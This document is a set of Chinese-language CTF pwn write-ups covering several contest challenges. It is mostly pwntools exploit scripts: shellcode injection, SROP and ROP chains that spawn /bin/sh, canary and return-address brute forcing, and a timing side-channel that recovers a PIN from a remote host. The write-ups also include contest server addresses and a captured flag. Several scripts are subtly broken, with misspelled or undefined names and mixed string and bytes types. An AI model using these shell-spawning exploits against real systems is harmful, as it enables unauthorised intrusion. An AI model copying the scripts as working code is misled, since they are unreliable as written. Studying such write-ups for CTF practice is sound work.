部分PWN题目记录
Pwn题目记录
【NKCTF】
弱小可怜无助的唯一。
(1)checkesec 发现为64位 只有NX保护
(2)进IDA分析
F5查看main函数
查看偏移为0x74(buf[108]+8[ebp大小]) buf2大小随机 无后门函数 此时联想到使用pwntools生成可利用的shellcode v6随机执行但未设置随机数种子【注释打漏了😜】
exp:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
p = process('./pwn')
#p = remote('127.0.0.1', 1337)
buf = b'\x90' * 108
shellcode = asm(shellcraft.amd64.sh())
payload = buf + b'\x90'*(104-len(shellcode)) +shellcode
log.success("shellcode_len : " + hex(len(shellcode)))
p.sendline(payload)
p.interactive()
选择用\x90(nop)进行填充使得攻击代码更具稳定性
104减去shellcode长度的b’\x90’字节,这个部分作用是将shellcode挪到最后(shellcode可能在中间生成),如果没有nopsled的填充,后面的数据会覆盖前面的shellcode,从而导致攻击失败。也就是说,这部分的填充是为了让Shellcode不会被后面的数据覆盖。
统统通
ez_stack
(1)checksec
发现NX打开 准备进IDA找溢出
(2)进IDA
发现溢出部分 无”/bin/sh” 需要我们构造rop链自行写入
常规思路就是第一次rop往bss上写/bin/sh,然后第二次调用execve
但程序本身没有本地直接调用函数->通过syscall来得到shell
查看发现为SROP 在.data段找到可写入/bin/sh的地址
执行完 read 的系统调用,此时 rax == 0 利用SROP 【只用于可写方法内】
exp:
from pwn import *
p = process('./stack')
#p = remote('node2.yuzhian.com.cn',35543)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./stack')
libc = elf.libc
def debug():
gdb.attach(p)
pause()
syscall = 0x4011ee
mov_rax_15 = 0x401146
bin_sh = 0x404040
#call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall
#debug()
payload = 'a'*(0x10 + 0x8)
payload += p64(0x4011C8)
payload += p64(0)
payload += p64(mov_rax_15)
payload += p64(syscall)
payload += str(sigframe)
sleep(0.1)
p.sendlineafter('F!\n',payload)
#debug()
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(0.1)
p.sendline('\x00')
p.interactive()
SROP小赠品(https://www.cnblogs.com/bpcat/p/16879300.html)
【2023CISCN】
shaokao
(1)虚拟机checksec一下
(2)运行一下程序玩玩
发现没碰到特别之处
(3)转战IDA
查看mian函数发现隐藏目录5 跟踪看看
发现strcpy 猜测v1进行了溢出
再往下翻翻
syscall 以及sys_exit 明显的系统调用号
到data段查找可写入口
搜索sys 发现-result 猜测负数(-10000)打开目录5
(4)利用ROPgadget 构造所需execve系统调用exp
(5)构造对应exp
from pwn import *
from struct import pack
r=process('./shaokao')
#r=remote('39.106.71.184',23931)
r.sendlineafter(">",b"1")
r.sendlineafter("",b"1")
r.sendlineafter("?\n",b"-10000")
r.sendlineafter(">",b"4")
r.sendlineafter(">",b"5")
p = b'a'*(0x28)
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x0000000000458827) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045af95) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040264f) # pop rdi ; ret
p += pack('<Q', 0x00000000004e60e0) # @ .data
p += pack('<Q', 0x000000000040a67e) # pop rsi ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x00000000004a404b) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x0000000000447339) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret _1
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710)
p += pack('<Q', 0x0000000000496710) # add rax, 1 ; ret _59
p += pack('<Q', 0x0000000000402404) # syscall
r.sendlineafter("烧烤摊儿已归你所有,请赐名:",p)
r.interactive()
优化后的exp
from pwn import *
from struct import pack
r=process('./shaokao')
#r=remote('39.106.71.184',23931)
r.sendlineafter(">",b"1")
r.sendlineafter("",b"1")
r.sendlineafter("?\n",b"-10000")
r.sendlineafter(">",b"4")
r.sendlineafter(">",b"5")
padding = b'a' * 0x28
pop_rsi_ret = pack('<Q', 0x000000000040a67e)
pop_rax_ret = pack('<Q', 0x0000000000458827)
mov_rax_ptr_rsi_ret = pack('<Q', 0x000000000045af95)
xor_rax_ret = pack('<Q', 0x0000000000447339)
pop_rdi_ret = pack('<Q', 0x000000000040264f)
pop_rdx_rbx_ret = pack('<Q', 0x00000000004a404b)
p = padding
p += pop_rsi_ret + pack('<Q', 0x00000000004e60e0) # @ .data
p += pop_rax_ret + b'/bin//sh'
p += mov_rax_ptr_rsi_ret
p += pop_rsi_ret + pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += xor_rax_ret
p += mov_rax_ptr_rsi_ret
p += pop_rdi_ret + pack('<Q', 0x00000000004e60e0) # @ .data
p += pop_rsi_ret + pack('<Q', 0x00000000004e60e8) # @ .data + 8
p += pop_rdx_rbx_ret + pack('<Q', 0) + pack('<Q', 0)
p += xor_rax_ret
add_rip_ret = pack('<Q', 0x0000000000496710) # add rax, 1 ; ret
rop_len = 59
rop_chain = [add_rip_ret] * rop_len#构建一个rop_len 完成execve
p += b''.join(rop_chain)#将列表转换为字符串进行填充
p += pack('<Q', 0x0000000000402404) # syscall
r.sendlineafter("烧烤摊儿已归你所有,请赐名:",p)
r.interactive()
【funcannary】
涨知识涨知识 没学够的菜狗😀
(1)先运行一下 pei’d配套checksec
根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点
发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过)
对应随机化 后续在IDA中只能利用其地址计算偏移
(2)进IDA
fork接口 == canary爆破(多线程)
发现函数入口为0x122D 并且发现”/bin/cat flag” 接下来找溢出位置爆破cannary
明显溢出 定位该函数sub_128A(爆破canary的位置)爆破成功后爆返回地址 (爆canary地址的下一位)
函数入口为0x122D shell返回地址为1329 偏移为0xfc 覆盖的buf大小为0x62
tips
【1】canary大小为0x00-0xff 所以爆破时每字节需循环257次 又因为canary低三位定为\x00(32位爆破循环3次 64位循环7次)此处需循环7次
【2】程序入口点一般都是整数,即地址最低位为00,也就是这里的地址,0x29是可信的。就只要爆破后一位就OK,再后面的地址都相同,爆不爆都一样。
exp:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
p = process("./fun")
#p = remote("39.106.65.236", "30687")
p.recvuntil(b'welcome\n')
canary = b'\x00'
#canary
for k in range(7):
info(f'No:{K+1}start,finding...')
for i in range(256):
p.send(b'a'*(0x70-8)+cannary+btyes([i]))
recv = p.recvuntil(b'welcome\n')
if b"have fun" in recv:
cannary += bytes([i])
success(f"canary => {canary.hex()}")
break
#return address
re_1 = 0x29
re_2 = 0
info('finding:re_2 ...')
for re_i in range(0x100):
payload = b'a' * 0x68 + canary + b'A' * 8 + p8(re_1) + p8(re_i)
#p8()将给定的整数转换为单字节的字节串
p.send(payload)
recv = p.recvuntil(b"welcome\n")
if b"have fun" in recv:
re_2 = re_i
success(f"re_2 => {hex(re_2)}")
break
payload = b'a' * (0x70-8) + canary + b'A' * 8 + p8(re_1 - 1) + p8(re_2 - 1)#-1对齐栈
p.send(payload)
p.interactive()
本地get
login
无附件 只打远程 涨知识捏 侧信道攻击
exp:
from pwn import *
from sys import argv
context(os='linux',arch='amd64',log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def ru(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def getpin(pin):
subtime = -1
res =''
for c in a:
pin_o = pin+c+'0'*(7-len(pin))
sum=0
for _ in range(10):
ru('>')
sl(b'3')
ru(b"PIN code: ")
start=time.time()
sl(pin_o)
rev=ru(b'\n')
if b"Wrong PIN code" in rev:
pass
else:
print(pin_0)
break
end=time.time()
sum+=(end-start)
print(cur,sum)
avgtime=sum
if(avgtime>subtime):
subtime=avgtime
res=c
return res
a='0123456789'
p= remote("123.56.238.150",45118)
pin=''
for i in range(8):
pin+=getpin(pin)
print("PIN:",pin)
ru(b'>')
sl(b'2')
ru(b'PASSWD')
sl(b"123456")
ru(b'$')
sl(b"cat flag")
p.interactive()
#flag{d39a1013-e066-4d64-8558-4a5855fb7303} pin code : 54730891
【SSCTF】
pwn_stack
(1)checksec
只开了NX好办捏😀
(2) 进IDA
很明显的函数提示 先看看主函数
buf溢出但被打印出 可忽视(此处知识点较为模糊 还需进一步进行研究解读)v1处溢出
查看偏移位0x98 再回到shell函数
没什么好说直接开整 典型ret2text
exp:
from pwn import *
p = process("./1")#太懒了给文件名改名了😜
bin_sh = 0x0400831
sys_addr = 0x40083D
#p.recvuntil("What's your name?")
payload =b'A'* (0x90 + 8) + p64(bin_sh) + p64(sys_addr)
#p.recvuntil('\n')
p.sendline('yub')
p.recvuntil("How old are you?")
p.sendline(payload)
p.interactive()
从函数头返回注意栈对齐问题 +1跳过push rbp的8字节对齐
【Black Rop】
(1)checksec
(2)IDA
常规溢出捏~
系统没给出system和”/bin/sh” 所以构造rop
from pwn import *
p = process('./rop')
pop4 = 0x080493e8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop1 = 0x0804901e # pop ebx ; ret
pop2 = 0x080493ea # pop edi ; pop ebp ; ret
pop3 = 0x080493e9 # pop esi ; pop edi ; pop ebp ; ret
payload = b'A'*0x12+ flat(0,0x80492ce,0x8049293, pop1, 0x804a033, 0x80492e8, pop1, 0xbae, 0x804930b, pop2, 0x62023 , 0xBF1212, 0x80491c2)
p.sendlineafter(b"check your identity and read the flag.\n", payload)
p.recvline()
p.interactive()